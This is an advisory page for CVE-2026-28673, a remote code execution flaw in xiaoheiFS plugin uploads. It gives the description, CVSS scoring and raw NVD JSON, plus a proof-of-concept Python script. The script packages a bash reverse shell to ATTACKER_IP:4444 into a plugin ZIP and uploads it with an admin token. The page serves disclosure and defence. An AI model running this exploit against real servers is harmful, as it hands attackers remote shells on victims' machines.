Security Vulnerability Report
中文
CVE-2026-28673 CVSS 7.2 HIGH

CVE-2026-28673

Published: 2026-03-18 01:16:05
Last Modified: 2026-03-23 17:58:19

Description

xiaoheiFS is a self-hosted financial and operational system for cloud service businesses. In versions up to and including 0.3.15, the standard plugin system allows admins to upload a ZIP file containing a binary and a `manifest.json`. The server trusts the `binaries` field in the manifest and executes the specified file without any validation of its contents or behavior, leading to Remote Code Execution (RCE). Version 0.4.0 fixes the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:danvei233:xiaoheifs:*:*:*:*:*:*:*:* - VULNERABLE
xiaoheiFS <= 0.3.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os import requests # 构造恶意插件ZIP文件 plugin_name = "malicious_plugin" malicious_binary = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" manifest = '''{ "name": "%s", "version": "1.0.0", "binaries": ["./malicious.sh"] }''' % plugin_name # 创建ZIP文件 with zipfile.ZipFile('%s.zip' % plugin_name, 'w') as zf: zf.writestr('manifest.json', manifest) zf.writestr('malicious.sh', malicious_binary) # 上传恶意插件 url = "https://TARGET_URL/api/plugin/upload" files = {'file': open('%s.zip' % plugin_name, 'rb')} headers = {'Authorization': 'Bearer ADMIN_TOKEN'} response = requests.post(url, files=files, headers=headers) print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28673", "sourceIdentifier": "[email protected]", "published": "2026-03-18T01:16:05.117", "lastModified": "2026-03-23T17:58:19.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "xiaoheiFS is a self-hosted financial and operational system for cloud service businesses. In versions up to and including 0.3.15, the standard plugin system allows admins to upload a ZIP file containing a binary and a `manifest.json`. The server trusts the `binaries` field in the manifest and executes the specified file without any validation of its contents or behavior, leading to Remote Code Execution (RCE). Version 0.4.0 fixes the issue."}, {"lang": "es", "value": "xiaoheiFS es un sistema financiero y operativo autoalojado para negocios de servicios en la nube. En versiones hasta la 0.3.15 inclusive, el sistema de plugin estándar permite a los administradores subir un archivo ZIP que contiene un binario y un `manifest.json`. El servidor confía en el campo `binaries` en el manifiesto y ejecuta el archivo especificado sin ninguna validación de su contenido o comportamiento, lo que lleva a la ejecución remota de código (RCE). La versión 0.4.0 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:danvei233:xiaoheifs:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.0", "matchCriteriaId": "D0180A96-D887-4385-AC4F-58ECEAAC15D3"}]}]}], "references": [{"url": "https://github.com/danvei233/xiaoheiFS/security/advisories/GHSA-4vw4-5wmh-7x4v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/danvei233/xiaoheiFS/security/advisories/GHSA-4vw4-5wmh-7x4v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}